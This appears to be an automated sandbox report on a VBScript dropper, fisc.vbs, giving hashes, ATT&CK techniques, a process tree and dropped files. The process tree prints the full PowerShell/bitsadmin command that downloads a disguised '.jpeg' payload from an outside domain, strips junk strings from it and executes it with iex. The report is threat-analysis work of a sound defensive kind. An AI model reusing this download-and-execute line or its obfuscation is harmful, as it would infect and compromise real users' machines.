7a61ca9db96a39902028ef7bc8eedc68bb82bbdce3d86959c818373535d91061

Resubmissions

01/06/2023, 13:52

230601-q6laesee79 6

01/06/2023, 13:51

01/06/2023, 13:49

01/06/2023, 13:48

01/06/2023, 13:45

01/06/2023, 13:42

25/05/2022, 10:04

Analysis

max time kernel
55s
max time network
63s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
01/06/2023, 13:42

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General

Target

fisc.vbs
Size

607B
MD5

7e9280027235462727a9a351429725c6
SHA1

380f1b3eeb2779a4359e4ca52471273983ed684c
SHA256

11a9b5a24b628be56d2d2bedf1ed71f05114c2f670cd1814ff8f8ff222cd801a
SHA512

7e31dcff6590b79476bb9bedd73145b9acafea62202d8defdd12608eae4cf727dce8781b83cd14d51432f2989bc6376c0a5bb8a114397c504a1ea4d519b4e060

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4688	bitsadmin.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	WScript.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1452	powershell.exe
1452	powershell.exe
1452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1452	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 1484	2476	WScript.exe	66
PID 2476 wrote to memory of 1484	2476	WScript.exe	66
PID 1484 wrote to memory of 1452	1484	cmd.exe	68
PID 1484 wrote to memory of 1452	1484	cmd.exe	68
PID 1452 wrote to memory of 4688	1452	powershell.exe	69
PID 1452 wrote to memory of 4688	1452	powershell.exe	69

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fisc.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -c "&{bitsadmin /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg; $ah=gc C:\Users\Admin\AppData\Roaming\production.jpeg; $ah -replace 'rfkvkhyy|wvgpmnbgx|xhbtegpohq|evvdwlxcd|gisofqvjp|edvdpyzc|uqbykfuhv' |iex }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "&{bitsadmin /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg; $ah=gc C:\Users\Admin\AppData\Roaming\production.jpeg; $ah -replace 'rfkvkhyy|wvgpmnbgx|xhbtegpohq|evvdwlxcd|gisofqvjp|edvdpyzc|uqbykfuhv' |iex }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - C:\Windows\system32\bitsadmin.exe
      "C:\Windows\system32\bitsadmin.exe" /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg
      4⤵
      Download via BitsAdmin
      PID:4688

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:700

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s fdPHost
1⤵
PID:5020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5pwosvi.noi.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Public\Downloads\vcmeunewnaj.lnk

Filesize
652B

MD5
671edceeceed4b8d01725b17bb334014

SHA1
f1b1e5909d6cb622c6133c92c775e022c7fb0edb

SHA256
93d8ed1c1a490a5384e0d19a399e95b60f67880af242cf77955e8f53202adcf8

SHA512
1ff5f1549a01cb21e7ab285acd9c4fea328693a66375f5effbd89f577c4557b4a7eb4722de8d084b46012fce3d05bfe2f42ba639f895e2d089bc52db517d8722

Download Submit
memory/1452-154-0x0000029527F10000-0x0000029527F32000-memory.dmp

Filesize
136KB

Download
memory/1452-157-0x00000295280C0000-0x0000029528136000-memory.dmp

Filesize
472KB

Download
memory/1452-168-0x0000029527DD0000-0x0000029527DE0000-memory.dmp

Filesize
64KB

Download
memory/1452-169-0x0000029527DD0000-0x0000029527DE0000-memory.dmp

Filesize
64KB

Download
memory/1452-170-0x0000029527DD0000-0x0000029527DE0000-memory.dmp

Filesize
64KB

Download